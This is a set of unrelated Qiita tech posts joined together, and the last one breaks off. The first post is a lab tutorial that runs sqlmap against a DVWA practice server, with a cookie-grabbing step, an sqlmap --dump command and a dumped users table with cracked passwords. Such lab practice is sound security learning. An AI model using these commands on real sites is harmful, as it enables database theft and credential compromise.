OmniAICreator/Qiita-1.07M huggingface dataset:
sqlmapをKali Linuxで使ってSQLインジェクション自動テスト

# sqlmapでSQLインジェクション

今回は以前の記事で作成した環境構築した[Kali Linux](https://qiita.com/rui-watanabe/items/5526d7fbfecc43be84f8)と[DVWA](https://qiita.com/rui-watanabe/items/1f4e675a30c31a01fe7d)を使って、SQLインジェクションを自動テストできる**sqlmap**を試していきたいと思います。

# sqlmapとは？

sqlmapとは、**SQLインジェクションの脆弱性ペネトレーションテストツール**になります。

以前の記事で紹介した[SQLインジェクション](https://qiita.com/rui-watanabe/items/6cbc61fbc3da4fdd22f1)を自動的に行ってくれる、すぐれものです。

Kali Linuxではデフォルトでインストールされています。


# 今回の前提条件
・Dockerでインストール済のKali Linux
・DVWA構築済のCentOS７サーバー


# DVWA上の操作

まずは、以前に環境構築したDVWAのページにアクセスします。

その後SQL Injectionのタブをクリックし、User IDに1を入力してSubmitを押します。

この時のURL（http://サーバーIPアドレス/vulnerabilities/sqli/?id=1&Submit=Submit)をsqlmapで使用するのでメモしておいてください。

また、sqlmapではクッキー情報も必要なので、検証→consoleから以下のコマンドを打ちます。

```
> document.cookie
```

するとクッキー情報がconsoleに表示されるのでこれもメモしておきます。


# Kali Linux上の操作

次に、以前Dockerで構築したKali Linuxをbashで立ち上げます。

```
# docker run -t -i kalilinux/kali-linux-docker /bin/bash
```

rootで入ったら、念の為sqlmapがインストールされているか確認し、ない場合はインストールをします。

```
# apt list "sqlmap"
# apt-get intall sqlmap
```

そして先ほどメモしたDVWAのURL情報とクッキー情報を使って、SQLインジェクションをしていきます。

sqlmapではオプションに、--dumpとつけることによって、SQLインジェクションで得られた結果をダンプファイルとして残すことが可能になります。

```
# sqlmap -o -u "http://サーバーIPアドレス/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="クッキー情報" --dump
```

sqlmapが終了後、catでダンプファイルを確認すると以下のような表示されます。

```
# cat /home/user/.sqlmap/output/サーバーIPアドレス/dump/dvwa/users.csv
user_id,user,avatar,password,last_name,first_name
1,admin,dvwa/hackable/users/admin.jpg,5f4dcc3b5aa765d61d8327deb882cf99 (password),admin,admin
2,gordonb,dvwa/hackable/users/gordonb.jpg,e99a18c428cb38d5f260853678922e03 (abc123),Brown,Gordon
3,1337,dvwa/hackable/users/1337.jpg,8d3533d75ae2c3966d7e0d4fcc69216b (charley),Me,Hack
4,pablo,dvwa/hackable/users/pablo.jpg,0d107d09f5bbe40cade3de5c71e9e9b7 (letmein),Picasso,Pablo
5,smithy,dvwa/hackable/users/smithy.jpg,5f4dcc3b5aa765d61d8327deb882cf99 (password),Smith,Bob
```

これで、以前手動でやったSQLインジェクションを、自動で行うことができました。

いや、すごい。

#参考URL
http://inaz2.hatenablog.com/entry/2016/01/27/004356
https://www.websec-room.com/2014/03/09/1864
Dynamic Programing and Life

### What is dynamic programming?

Dynamic programming is the way of solving a problem by applying the same solution repeatedly on the partial problem through recursion.

It mainly used in the optimization problem that could satisfy that optimize its sub-problem could contribute to optimizing the problem as a whole. We call that problem has a substructure.

For example, if your life is an optimization problem, what is the criteria that you want to optimize? such as happiness, right? We call that happiness is the **value function**. If your happiness is high, it is good. You want to optimize the happiness high for the whole of your life or just high at the end of your life? Obviously, you want to break your lifetime into smaller chunks and optimize the happiness at that moment to make sure it high and it will help the next chunk of your lifetime also good too. 
So we could call maximize your happiness in life is an optimal substructure problem.

Besides the value function, that is the target for you to go to optimize, you have the input values that affect your happiness such as money, work, relationship. We call that the **state**. And the current state could change the next state in the future through some function or policy that we call **control function**

Another example of dynamic programming is the Fibonacci sequence. For you to calculate the `nth` Fibonacci number, you have to calculate the `nth - 1` and `nth - 2` in advance and keep so on until you get to the `1st` and `2nd` Fibonacci numbers.

### Conclusion

Dynamic programming helps us to specify the solution for the problem in a very intuitive way. When we go for the searching problem or optimization problem, try to break it down into smaller problems and apply dynamic programming could create a very elegant solution
twitterの情報発信を助けるWebサービス「EMOEMO」やっと公開です！

#[EMOEMOはこちら](http://emotionalemo.herokuapp.com/)

#はじめに

こんにちはてらです！:relaxed:
簡単に自己紹介をするとごみくずプログラミング初学者です。(３ヶ月目)
現在個人開発中のWEBサービス（EMOEMO）をデプロイする予定だったのですが、想定外のバグが発生し、
デプロイはもう既にしているのですが公開できない状態に陥りました。やっと修正を終えたのでお披露目したいと思います。
では早速！

[EMOEMO](http://emotionalemo.herokuapp.com/)：↓LP部分
<img width="1440" alt="スクリーンショット 2020-02-11 17.37.25.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/565068/24fc6841-de52-8b39-c33a-e6eaafa7a35f.png">


#目次
- EMOEMOとは？別記事で紹介しています。[こちら](https://qiita.com/teranatu/items/68c4be2715923491554e)から
- 一番大変だった所
- 二番目に大変だった所
- 課題点
- 今後の予定

#一番大変だった所　！加筆予定！
tweetを送信するだけじゃなく、画像も持たせることができたらより良いと思い実装しようと試みました。この機能の実装は闇が深く一番大変でした。どう大変だったのかについて書くとこれだけで、読みたくなくなるような分量になってしまいます。ですので、あとでコード等は使わずに図でこんなことしてるよ！っていうのを紹介がてらしてみようと思います。

#二番目に大変だった所
自分のPC（ローカル）の中で、動かしている状態から実際にサーバー（heroku）にアップロード（デプロイ）をすると今まで使えていた便利機能（ライブラリ）が読み込まれなかったり、画面がうまく表示されなかったりして、滅茶苦茶大変でした。少し具体的に話すとtwitterキーを受け取れてはいるのですがそれをデータベースに保存できなくてコードを変更しました。

#課題点
とにかく画面のデザイン（フロントエンド）がゴミカスレベルなのでまともになるように色々手を加えていこうと思っています。その間に皆さんに使ってもらって、こんな機能あったら良いなみたいな要望があったらQiitaのコメントでもtwitterのDMでも良いのでメッセージください！
使ってみてもらって感想までもらえたら僕は嬉しいです！

[Twitterアカウント](https://twitter.com/aaaa56039257)

#今後の予定

- 見た目やボタンの配置（フロントエンド周り）の実装をする
- 皆さんの反応次第で機能の追加
    - 画像の削除機能の追加

この２点を主軸にして開発を進めていこうと思います。画像の削除機能については必須だと思うので実装します！

#最後に！！！！！

もし最後まで読んでくださっている方がいたら良いねをお願いします！よろしくお願いします！
またね！

#[EMOEMOはこちら](http://emotionalemo.herokuapp.com/)
コロナウイルスの信頼できる情報源まとめ(オープンソース的に情報コミッター募集中)


#はじめに

コロナウイルス、いよいよ日本での感染者が増え始めました。
想定されるのはパニックとデマです。
偽情報に気を付け、落ち着いて冷静に行動しましょう。
日々、見つけた信頼できる情報源を足していきます。

##情報提供者募集

みなさんの周りに追加すべき信頼できる情報源がありましたら、
下記の編集リクエストで情報更新依頼お願いします。
オープンソース的に情報を増やしていきたいです。
ご意見ご要望は是非コメント欄に！

<img width="873" alt="Screen Shot 2020-02-15 at 21.55.34.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/76304/2a2ef404-01e7-bbe4-5ca8-78f827cdf4a0.png">


#定番情報

NHK
センセーショナルな情報を避け、NHKがオススメです
https://twitter.com/nhk_news
<img width="600" alt="Screen Shot 2020-02-15 at 21.57.08.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/76304/181dadb0-f9e2-e5eb-2dac-5b2b2b594f57.png">


厚生労働省
https://twitter.com/MHLWitter
<img width="599" alt="Screen Shot 2020-02-15 at 21.57.30.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/76304/e80e0b84-33ba-7faf-e46c-f9f38800a11e.png">

首相官邸
https://twitter.com/Kantei_Saigai
<img width="600" alt="Screen Shot 2020-02-15 at 21.58.34.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/76304/9004d8bc-9e89-d23b-9360-ec0a9e285b1f.png">



上海の藤田康介先生
https://twitter.com/mdfujita
<img width="598" alt="Screen Shot 2020-02-15 at 21.51.08.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/76304/535eea0a-22d5-eda1-406a-c6284b5de776.png">


ロイターのCateCadell記者
コロナウイルスに関する統計データを発信
https://twitter.com/catecadell



#2020/2/15更新
docker run -p で、ホスト側のポート番号が被ったらどうなるか

最近会社で、聞かれていないけれど答えることになるかもしれないことをまとめてみました。

"docker run -p" でポート公開しているホスト側のポート番号が、複数のコンテナ間で被ったらどうなるか、です。

この程度のことなら、実験するのが手っ取り早いです。

# 実験環境

ホストには、VirtualBox上の "Lubuntu 18.04.4" を用いています。この環境に "Docker 19.03.6" をパッケージインストールし、これを実験環境としています。

Dockerのインストール方法には "[Ubuntuにdockerをインストールする](https://qiita.com/tkyonezu/items/0f6da57eb2d823d2611d)" の "リポジトリからインストール" を使用しました。 

# 実験

まずは実験用コンテナのベースイメージを取得します。
今回はCentOSを使用しました。

```
$ docker pull centos
     :
$ docker image ls
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
     :
centos              latest              470671670cac        4 weeks ago         237MB
     :
linuser@linuser:~$
```

上記のイメージをベースにコンテナAを起動します。
起動時のオプション指定で、コンテナのポート22をホストのポート10022に割り当てます。

```
$ docker run -it --rm -p 10022:22 --name test_a centos
```

CentOSの起動直後の状態です。
コンテナ内でsshdを実行していません。
これは、コンテナ内のポート使用状況を見れば分かります。

```
[root@4bd739598429 /]# ss -lntp
State               Recv-Q                 Send-Q                                  Local Address:Port                                 Peer Address:Port
[root@4bd739598429 /]#
```

コンテナAが稼働中の状態で、コンテナ名だけ変更した同じコマンドを用いて、コンテナBを実行します。

```
$ docker run -it --rm -p 10022:22 --name test_b centos
docker: Error response from daemon: driver failed programming external connectivity on endpoint test_b (7ad7dfd88f361777e6147b65d38e7fd585abce640b70ce180ba8b7406ea30709): Bind for 0.0.0.0:10022 failed: port is already allocated.
ERRO[0000] error waiting for container: context canceled
$
```

まあ予想通りです。
ポート10022への "bind" の失敗により、コンテナBの起動に失敗しました。

# ホストの状態

このとき、ホストはどのようになっているでしょうか？
もう少し、ポートの競合の状況を見ていきましょう。

まず、LISTENしているポートはこのような感じです。但し、Dockerに関係のない部分は省いて表示しています。

```
# ss -lntp
State   Recv-Q   Send-Q      Local Address:Port       Peer Address:Port
     :
LISTEN  0        128                     *:10022                 *:*       users:(("docker-proxy",pid=3171,fd=4))
     :
#
```

このように、コンテナAのサービスが稼働していなくても、ポート転送オプションに伴うホスト上でのLISTENが行われています。
LISTENしているプロセスは、docker-proxyと呼ばれるプロセスのようです。
同じことはコンテナBでも起こります。
ホスト上で同一ポート10022でのLISTEN(bind)を試みることになるため、競合が起こるわけです。
そのため、コンテナの起動は行われません。

これらの事情は、コンテナの外で発生しています。
つまり、コンテナ内のsshサーバープロセスの稼働停止に依存しません。

もう一つ見ておきましょう。iptablesの設定状況です。

```
# iptables -t nat -L -n --line-numbers
    :
Chain DOCKER (2 references)
num  target     prot opt source               destination
1    RETURN     all  --  0.0.0.0/0            0.0.0.0/0
2    DNAT       tcp  --  0.0.0.0/0            0.0.0.0/0            tcp dpt:10022 to:172.17.0.2:22
#
```

最後のエントリが、コンテナAへのポート転送に伴うエントリです。
ポート番号10022に到着したパケットが、コンテナA(172.17.0.2)のポート番号22に送られるのが分かります。

このあたりのことは、[公式ドキュメント](http://docs.docker.jp/engine/userguide/networking/default_network/binding.html)にも少し記載されています。

# まとめ

* コンテナ内のサーバープロセスの稼働停止にかかわらず、ホスト側のポートが被るようなコンテナ複数を起動することはできない。
* Dockerコンテナのポートの外部公開は、コンテナ内のサーバープロセスの稼働停止に依存しない。
* Dockerコンテナのポートの外部公開は、プロセス"docker-proxy"とiptablesが協調して行っている。
* プロセス"docker-proxy"は、ホスト側のポート待ち受けを担っている。
基本情報技術者　マネジメント系　第2章 プロジェクトマネジメント②


# ②サービスストラテジ、サービスデザイン
* サービスストラデジ: サービス提供方針を戦略的に定義
* サービスデザイン: サービス提供計画作成、インフラ整備

## 財務管理
下記の役割があります。

* 予算管理
* 会計
* 課金: 顧客ごとにコストを配分し、料金を設定する
* 報告

## サービスレベル管理
SLAの管理です。
下記の作業があります。

* 識別
* 定義
* 契約
* 監視
* 報告
* レビュー


### SLR (Service Level Requirement)
顧客の要求をまとめた文書

### サービスカタログ
サービス提供について、わかりやすく顧客に説明した物

## キャパシティ管理
システム全体のサービス提供能力

* 監視
* 分析
* チューニング
* 実装

## ITサービス継続性管理 (ITSCM)
災害時の事業継続能力(BCM)の一環のことです.

下記の作業があります。

* 開始
* 要件と戦略
* 導入
* 運用管理

## ITサービスの復旧
下記の復旧オプションがあります。

* 何もしない
* 手作業に戻る
* 相互協定の合意
* 段階的復旧(コールドスタンバイ)
* 中間的復旧(ウォームスタンバイ)
* 即時的復旧(ホットスタンバイ)

### RTO
Recovery Time Objective: 復旧目標時間
システムが停止してから何時間で復旧させるかという目標時間

### RPO
Recovery Point Objective: 復旧時点目標
いつの時点のデータにまで復旧できるか

### バックアップ方式
RTO,RPOの短時間化には定期的なバックアップが重要です。

上から順に復旧時間が長くなり
バックアップ取得時間が短くなります。

* フルバックアップ
* 差分バックアップ
* 増分バックアップ

## 可用性管理
継続的サービス利用管理

### UPS(無停電電源装置)
予備電源装置、5~10分程度行えます。

### ミラーリング
ディスク装置の二重化です。
代表的なのにRAID-1があります。

### デュプレシング
システムの二重化です。
ASP.NET Core(C#)とVisualStudio2019でREST-APIを開発するためのプロジェクト作成方法

## はじめに

#### 背景

.Net Coreを開発する場合は、Visual Studio Codeを利用する記事が多いですね。
でも.Net初心者には、やや敷居が高いように感じます。後から拡張を入れるとことか。
なので、オールインワン環境であるVisual Studio 2019を使った記事を挙げておきたいと思います。

#### 目的

Visual Studioのプロジェクト作成時、慣れていないとテンプレートの選択に迷ったりします。
例えばREST-APIを作成するだけなら "API"の選択で十分ですが、"MVC"を選んでしまうなど。
そこで、ASP.NET Core APIを利用するための「迷わない」プロジェクト作成手順をまとめておきます。

#### 前提

* Visual Studio 2019がインストールされていること。
* Visual Studio 2019に「ASP.NETとWeb 開発」のワークロードがセットアップされていること。

前提の環境を作成するためには、よければ以下の記事も参考にしてください。
[ASP.NET Coreを利用するためのVisual Studio 2019のインストール方法](https://qiita.com/kami_teru/items/49d95194bcb4836b591e)

# ASP.NET Coreのプロジェクトを作成しよう

Visual Studio 2019を起動し、以下の作業を始めましょう。

### 作業の選択
今から行う作業を選択します。
↓右のリストの一番下にある「新しいプロジェクトの作成」を選択しましょう
![Microsoft Visual Studio 2020_02_15 17_42_28.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/109362/92a95fd6-2b29-3ade-edfb-65a8797b7227.png)


### プロジェクトテンプレートで「ASP.NET Core Web アプリケーション」を選択
作成するプロジェクトの内容を、テンプレートから選択します。
↓右のリストより「ASP.NET Core Web アプリケーション」を選択しましょう。「ASP.NET.Core」でフィルタすると見つけやすいです。言語もここで決まるので注意！
![Microsoft Visual Studio 2020_02_15 17_42_45.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/109362/92e98015-53f7-a99a-f1dc-551145389546.png)

### プロジェクト情報の入力
「次へ」を押下すると、プロジェクトの情報を入力する画面に移ります。

プロジェクト名は、REST-APIサービスをホストするアプリケーションに付ける名前になります。
私はいつも結局、ソリューション名と同じにしています。

ソリューション名は、このサービス全体を束ねるディレクトリ名のようなものです。実際、そのようなディレクトリ構成になります。サービス全体とは、サービスをホストするアプリケーションから独立して作成されたクラスライブラリプロジェクトなども含めたものに対する表現です。

ここでつけた名前に基づいてディレクトリ構成が作成されるので、後で変えるのは少々面倒くさいです。ちょっとだけ慎重になって決めましょう。

![Microsoft Visual Studio 2020_02_15 17_44_04.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/109362/ec9d1730-a1ff-c84d-b258-0aac825c8a1e.png)

### プロジェクト構成で"API"を選択
「作成」を押下すると、プロジェクトの構成を選択する画面に移ります。
↓REST-APIを作るだけなら、「API」を選択すればOK。
![Microsoft Visual Studio 2020_02_15 17_45_59.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/109362/58f9cfad-748d-3c9f-2f92-3b1900b3ede0.png)

### プロジェクトの土台が完成
もう一度「作成」を押下すると、プロジェクトが作成され、開発を始める土台が整います。
↓こんな画面が表示されるはずです。
![MyHelloService - Microsoft Visual Studio 2020_02_15 17_49_06.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/109362/378d6ef7-ff0e-205d-b6cd-0e6917ffd520.png)

では、開発を楽しみましょう！
React hooksで複数の状態を定義する

##はじめに

[「React hooksを試してみた」](https://qiita.com/10mi8o/items/d3d60dbab6ab3562ff8d)という記事の続きです。
今回も***個人的なメモレベル***です。

##hooksで複数の状態を定義する
まぁタイトルのままなのですが、コンポーネントを作る時に、hookを利用して、状態を複数持ちたいというのは、当然要件としてあります。その場合は、複数定義する事は全然問題ありません。

以下に例を示します。

また、この関数コンポーネントは外からpropsを受け取ってます。その際に、`defaultProps`で、`props`に値が渡されなかった際のデフォルト値を定義しています。

```react:状態を３つ定義する
const App = (props) => {

    const [title, setTitle] = useState(props.title);
    const [author, setAuthor] = useState(props.author);
    const [price, setPrice] = useState(props.price);

    const reset = () => {
        setPrice(1000);
        setAuthor(props.author);
        setTitle(props.title);
    }

    return(
        <>
            <p>
                {author}の新譜が発表されました。
                タイトルは{title}です。<br />

                値段はあたなが自由につけられます。<br />
                いくらで買いますか？<br />
            </p>
            <p>
                {price}円で買います。
            </p>

            <div>
                <button onClick={()=> setPrice(price + 100)}>+100</button>
                <button onClick={()=> setPrice(price - 100)}>+100</button>
                <button onClick={reset}>Reset</button>
            </div>

            <label htmlFor="author">Author</label>
            <input id="author" type="text" value={author} onChange={(e) => setAuthor(e.target.value)}/>

            <label htmlFor="title">Title</label>
            <input id="title" type="text" value={title} onChange={(e) => setTitle(e.target.value)}/>

        </>
    )
}

App.defaultProps = {
    title: '',
    author: '',
    price: 1000
}

export default App;
```

##もう少しリファクタしてみる
`useState`で渡す初期値の引数はオブジェクトを渡すことが出来ます。
より抽象的に状態を定義できます。

以下、実装例です。

```react:リファクタ
const App = (props) => {

    const [state, setState] = useState(props);
    const reset = () => {
        setState(props);
    };

    return(
        <>
            <p>
                {state.author}の新譜が発表されました。
                タイトルは{state.title}です。<br />

                値段はあたなが自由につけられます。<br />
                いくらで買いますか？<br />
            </p>
            <p>
                {state.price}円で買います。
            </p>

            <div>
                <button onClick={()=> setState({...state, price: state.price + 100})}>+100</button>
                <button onClick={()=> setState({...state, price: state.price - 100})}>+100</button>
                <button onClick={reset}>Reset</button>
            </div>

            <label htmlFor="author">Author</label>
            <input id="author" type="text" value={state.author} onChange={(e) => setState({...state, author: e.target.value})}/>

            <label htmlFor="title">Title</label>
            <input id="title" type="text" value={state.title} onChange={(e) => setState({...state, title: e.target.value})}/>

        </>
    )
}

App.defaultProps = {
    title: '',
    author: '',
    price: 1000
}

export default App;
```

基本的には関数コンポーネントで実装をしていく方針でよさそうです。

クラスコンポーネントで実装する機会とかあるとすれば、既存のクラスコンポーネントを継承して機能を拡張するケースや、サードパーティーのクラスコンポーネントを拡張したい時ぐらい？

いずれにせよ早く使いこなせるように精進精進:muscle:
不均衡データ用にダウンサンプリングするメソッドを作成した（二項分類用）

[このページ](https://qiita.com/ryouta0506/items/619d9ac0d80f8c0aed92)のアンダーサンプリングの章にあるコードを改変して、実際に動くものにしました。

```python:
# trainデータの陽性データと陰性データの数が同じになるようにするためのメソッド
# 参考 ： https://qiita.com/ryouta0506/items/619d9ac0d80f8c0aed92
# kmeansでクラスタにして、クラスタごとに一定の割合でサンプルする

# X : pandas の DataFrame
# target_column_name : クラス名。 「発症フラグ」 など。
# minority_label : 少数ラベルの値。 「1」 など。

def under_sampling(X, target_column_name, minority_label):
    
    # 毎回出るので非表示に
    import warnings
    warnings.simplefilter('ignore', pd.core.common.SettingWithCopyWarning)
    
    # majority と minority に分ける
    X_majority = X.query(f'{target_column_name} != {minority_label}')
    X_minority = X.query(f'{target_column_name} == {minority_label}')

    # KMeansでクラスタリング
    from sklearn.cluster import KMeans
    km = KMeans(random_state=43)
    km.fit(X_majority)
    X_majority['Cluster'] = km.predict(X_majority)

    # クラスタごとに何サンプル抽出するか計算
    ratio = X_majority['Cluster'].value_counts() / X_majority.shape[0] 
    n_sample_ary = (ratio * X_minority.shape[0]).astype('int64').sort_index()
    
    # クラスタごとにサンプルを抽出
    dfs = []
    for i, n_sample in enumerate(n_sample_ary):
        dfs.append(X_majority.query(f'Cluster == {i}').sample(n_sample))
    
    # minority データも結合するようにしておく
    dfs.append(X_minority)
    
    # アンダーサンプリング後のデータを作成
    X_new = pd.concat(dfs, sort=True)
    
    # 不要なので削除
    X_new = X_new.drop('Cluster', axis=1)
    
    return X_new
```
ASP.NET Coreを利用するためのVisual Studio 2019のインストール方法

## はじめに

#### 背景

.Net Coreを開発する場合は、Visual Studio Codeを利用する記事が多いですね。
でも.Net初心者には、やや敷居が高いように感じます。後から拡張を入れるとことか。
なので、オールインワン環境であるVisual Studio 2019を使った記事を挙げておきたいと思います。

#### 目的

Visual Studioのインストール時、慣れていないとワークフローの選択に迷ったりします。
そこで、ASP.NET Coreを利用するための「迷わない」インストール手順をまとめておきます。

#### 前提

* Visual Studio 2019です。
* Visual Studio Codeを使った手順は扱いません。
* 執筆時点では最新のLTSである.Net Core 3.1が既定で選択される構成になります。

#### 注意

* 無償のCommunity Editionを利用される場合は、使用権に制限があるのでライセンス条項を読みましょう。

# Visual Studio 2019 をインストールしよう

### Visual Studio Installerの入手
MicrosoftのVisualStudioのページからVisual Studio Installerを入手しましょう。
http://visualstudio.microsoft.com/

* Windowsの人は、VisualStudioのドロップダウンリストからエディションを選択してください。
* Macの人は、VisualStudio for Macを選択してください。※既定でCommunityライセンスが適用されますが、インストール後に各エディションに更新できます。

Visual Studio Installerを起動したら、ワークロードの選択画面が表示されるので、「ASP.NETとWeb 開発」にチェックを入れましょう。
↓左上のチェックが付いている個所です。他もチェックされていても差し支えないですが、この記事の内容には不要です。
![Visual Studio Installer 2020_02_15 16_54_52.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/109362/363d6209-ebba-4ae9-deb0-9a2d0551c691.png)

右下の「インストール」ボタンを押すと、インストールが始まります。簡単ですね。

インストールが完了すると、Visual Studio 2019が起動します。
サインインを求められますので、Microsoftアカウントでサインインしましょう。

### Visual Studioへのサインインについて

なお、Microsoftアカウントを持っていない人は、当面はサインインせずに利用することもできます。但し期日が来るとサインインを求められてしまいますので、継続利用をお考えの場合はアカウントを作成しましょう。
Docker+React 環境構築手順

自分用メモとしてDocker+Reactの環境構築テンプレを書いときます。

#ディレクトリ内にアプリを作成

```
create-react-app アプリ名
```

```
cd アプリ名
```

#Dockerfile
アプリの内に作る

```Dockerfile
# base image
FROM node:12.2.0-alpine

# set working directory
WORKDIR /app

# add `/app/node_modules/.bin` to $PATH
ENV PATH /app/node_modules/.bin:$PATH

# install and cache app dependencies
COPY package.json /app/package.json
RUN npm install --silent
RUN npm install react-scripts@3.0.1 -g --silent

# start app
CMD ["npm", "start"]
```

#docker-compose.yml
アプリ内に作る。
yarnを利用しています。

```docker-compose.yml
version: '3.7'

services:

  アプリ名:
    container_name: アプリ名
    build:
      context: .
      dockerfile: Dockerfile
    volumes:
      - '.:/app'
      - '/app/node_modules'
    command: yarn start
    ports:
      - '3001:3000'
    environment:
      - NODE_ENV=development
```
commandでyarn start を指定しとかないと、デバックモードでアプリ立ち上がるのでrenderが反映されなくなります。

#追記
久しぶりにreactを起動しようと思ったら上手くできなかったので、もしこの手順で上手くいかなかったら「.dockerignore」ファイルを追加して以下を記述してください。

```.dockerignore
node_modules
```
node_modulesを参照にしてるのが良くないぽいです。

#コンテナ起動
```
docker-compose up -d --build
```
localhost:3000にアクセスして問題なければおk。

#参照
- https://mherman.org/blog/dockerizing-a-react-app/
- [docker-composeでReact環境構築](https://qiita.com/kerochelo/items/1063da8893026de5ebbf)
重回帰分析の係数のp値の算出方法

#1. はじめに
[以前の記事(重回帰分析の係数の検定と信頼区間)](https://qiita.com/m1t0/items/809cdadf7698062a09a3)にて，タイトルに「信頼区間」とあるにもかかわらず，それについて全く記述していなかったことを深くお詫び申し上げます．ごめんぴ．おそらくp値の計算について紹介したかったのだと思います．

#2. 復習(重回帰分析の推定された係数の分布)
重回帰分析の問題設定は，

```math
\begin{align*}
{\bf y} = X\beta + {\bf e},\ {\bf e}\sim N(0,\sigma^2I_n)
\end{align*}
```
でした．ここで，${\bf y}$は$n\times 1$の従属変数ベクトル，$X$は$n\times(p+1)$の独立変数ベクトル(切片項1を含む)，$\beta$は$(p+1)\times 1$の係数ベクトル，${\bf e}$は$n\times 1$の正規分布に従う誤差変数ベクトルを表します．$\beta$を最小二乗法で推定した場合(この場合は，最尤法でも良いのですが)，$\beta$の解は，
$$\hat{\beta} = (X^TX)^{-1}X^Ty\tag{1}$$
となります．余談ですが，これを用いた${\bf y}$の予測値${\hat{\bf y}}$は，
$${\hat{\bf y}} = X\hat{\beta} = X(X^TX)^{-1}X^Ty$$
と表すことができます．このことから，${\bf y}$の予測値は，${\bf y}$を直交射影子$P_X := X(X^TX)^{-1}X^T$によって，$X$の列ベクトルが張る空間に射影したものとみなせます．
　話を戻すと，(1)から，$\hat{\beta}$の分布は，$E[{\bf y}] = X\beta,\ V[{\bf y}] = \sigma^2I_n$の線形変換により，

```math
\begin{align*}
E[\hat{\beta}] &= (X^TX)^{-1}X^TE[y] = (X^TX)^{-1}X^TX\beta = \beta\\
V[\hat{\beta}] &= (X^TX)^{-1}X^TV[y]((X^TX)^{-1}X^T)^T = \sigma^2(X^TX)^{-1}
\end{align*}
```
の正規分布に従うことがわかります．これを用いて計算される帰無仮説$H_0: \beta_j = 0$の下での，検定統計量
$$T_j := \frac{\hat{\beta_j} - 0}{\sqrt{\hat{\sigma}^2 v_{jj}}}$$
は自由度$n-p-1$の$t$分布に従います．ここで，$v_{jj}$は$(X^TX)^{-1}$の$(j,j)$成分であり，$\sqrt{\hat{\sigma}^2 v_{jj}}$は標準誤差と呼ばれます．

#3. p値，信頼区間の計算
$H_0: \beta_j = 0\ v.s.\ H_1:\beta_j\ne0$は両側検定なので，有意水準$\alpha$の時のp値は，
$$P_0(|T_j|\ge t_{n-p-1}(\alpha/2))$$
で計算できます．これをちょっと変形して，信頼区間は，

```math
\begin{align*}
-t_{n-p-1}(\alpha/2)\le&\frac{\hat{\beta_j} - \beta_j}{\sqrt{\hat{\sigma}^2 v_{jj}}}\le t_{n-p-1}(\alpha/2)\\
\hat{\beta_j}-t_{n-p-1}(\alpha/2)\times\sqrt{\hat{\sigma}^2 v_{jj}}\le& \beta_j\le \hat{\beta_j}+t_{n-p-1}(\alpha/2)\times\sqrt{\hat{\sigma}^2 v_{jj}}\tag{2}
\end{align*}
```
で計算できます．

#4. 最後に
すっかり忘れていました．
ティラノスクリプトのglink選択肢ボタンにキーをマッピング

今作ってるノベルゲームは、選択肢が常に二択になってます。
以下のように。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/459373/cea42e26-5fb9-0295-7781-9ef41cb9a846.png)

それで
『←』キーで左を選択、
『→』キーで右を選択
にしたかったです。

でもボタンがglinkタグで作られていて、キーボードでの操作ができなかったです。
（linkタグだったら基本的にキーボードでの操作ができます）
でもこのゲームもキーボードだけでプレイできるようにしたかったんです。

それで、簡単なトリックを見つけました。
選択肢は以下のように、glink タグで作ってます。

    [glink name="choose_btn_a" x=200 y=300 width="300" height="100" ……
    [glink name="choose_btn_b" x=680 y=300 width="300" height="100" ……

ボタンのnameタグに固有の値を割り当てます。
左の選択肢にはchoose_btn_aという値を、
右の選択肢にはchoose_btn_bを。

そしてそれをライダーでボタンを分析してみたら、glinkボタンは以下のようなhtmlタグに変換されてました。

<div class=“button_graphic event-setting-element” data-event-tag=“glink" data-event-pm="...

name　に指定した値は、classの中に入るんです。
jqueryで操作が可能って事です。
あとはキーを割り当てるだけ。

KeyConfig.jsファイルを開きます。 
そこで方向キーの割当ができます。

* KeyConfig.js

```KeyConfig.js
        "37" : function(){
            try{
                $(".choose_btn_a").click();
            }catch(e){
                console.log(e.message);
            }
        },
        "39" : function(){
            try{
                $(".choose_btn_b").click();
            }catch(e){
                console.log(e.message);
            }
        },
```

37が『←』キー、
39が『→』キーです。
そのキーを押すとjqueryでそれぞれのglinkにマウスクリックイベントを発生させるわけです。
以上です。簡単です。

でももし後でティラノスクリプトのバージョンアップによりglinkのnameタグの実装が変わったら、このjqueryは動かなくなるかも知れませんから、一応try-catchで防御しました。
（ちなみに僕が使ってるティラノスクリプトはv480fです）
【Kotlin】CompanionObjectの定義から取得したKFunctionをインスタンス無しで呼び出せるKFunctionのように振る舞わせる

# TL;DR
- インスタンスから取得した`KFunction`は引数のみで呼び出せる
- `CompanionObject`から取得した`KFunction`の場合、呼び出しには引数以外に`CompanionObject`のインスタンスが必要[^comp]
- `KFunction`を継承したクラスで`call`/`callBy`メソッドをよしなにやることで、`CompanionObject`から取得した`KFunction`もインスタンスから取得した関数同様に扱うことができる

[^comp]: `Class::class.companionObject`/`.companionObjectInstance`で取得した場合の話。[`method reference`を取得する](https://qiita.com/wrongwrong/items/c199c837001f2c5ac631)場合はインスタンス無しで呼び出せる。

# 課題になったこと
`CompanionObject`から取得した`KFunction`の場合、呼び出しには引数以外に`CompanionObject`のインスタンスが必要です。
ここで、「コンストラクタ、`static`関数、`CompanionObject`に定義した関数の3種類から適切な関数を抽出し、実行する」プログラムを書いていた所、コンストラクタと`static`関数はそのまま呼び出せるのに、`CompanionObject`に定義した関数は扱いが異なってしまうという問題が発生しました。

ラムダでラップしてやれば扱いは同様にできますが、ラップする手間や無駄な生成コストが嫌だったので、`CompanionObject`の定義から取得した`KFunction`をインスタンス無しで呼び出せる`KFunction`のように振る舞わせる方法を探しました。

# 解決方法
